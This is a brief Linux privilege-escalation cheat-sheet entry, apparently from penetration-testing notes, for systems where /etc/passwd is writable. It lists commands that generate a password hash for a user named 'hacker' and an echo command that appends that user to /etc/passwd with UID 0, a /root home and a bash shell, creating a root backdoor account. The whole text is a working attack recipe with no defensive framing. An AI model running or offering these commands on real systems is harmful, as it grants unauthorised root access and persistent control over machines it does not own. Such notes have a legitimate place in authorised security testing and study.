Writable files
etc/passwd
Generate a password with one of the following commands.
openssl passwd -1 -salt hacker hacker
# mkpasswd -m SHA-512 hacker
# python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
Add user hacker to passwd
echo 'hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash' >> /etc/passwd